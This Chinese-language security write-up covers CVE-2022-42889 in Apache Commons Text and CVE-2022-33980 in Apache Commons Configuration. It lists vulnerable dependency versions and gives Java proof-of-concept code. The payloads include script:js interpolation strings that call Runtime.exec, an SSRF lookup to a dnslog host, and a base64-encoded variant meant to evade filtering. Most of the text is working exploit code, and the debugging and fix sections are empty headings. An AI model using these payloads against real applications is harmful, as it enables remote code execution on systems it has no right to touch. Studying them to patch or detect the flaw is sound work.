Apache Commons Text是一款处理字符串和文本块的模块。
Apache Commons Text 在 1.10.0 之前的版本中由于插值默认值验证不当从而存在远程代码执行漏洞,CVE-2022-42889。
Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。漏洞版本范围:2.4 <= Apache Commons Configuration <=2.7
环境搭建
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.12.0</version>
</dependency>
CVE-2022-42889
payload
import org.apache.commons.text.StringSubstitutor;
public class CommonsPoc {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// 命令执行
// String poc = interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}");
// SSRF
// String poc = interpolator.replace("${url:utf-8:http://123.d2kohg.dnslog.cn}");
// 命令执行base64编码绕过
String poc = interpolator.replace("${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoIm9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiKX0=}");
}
}
还有很多骚姿势,可以参考官网给出的api
调试
调用链
其中可以看到lookup支持方式有
修复
修复前
修复后
CVE-2022-33980
该漏洞与前面的漏洞类似,poc如下:
package com.exploit.payloadclass;
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class CommonsConfiguration2Poc {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
System.out.println(interpolator.interpolate("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}"));
}
}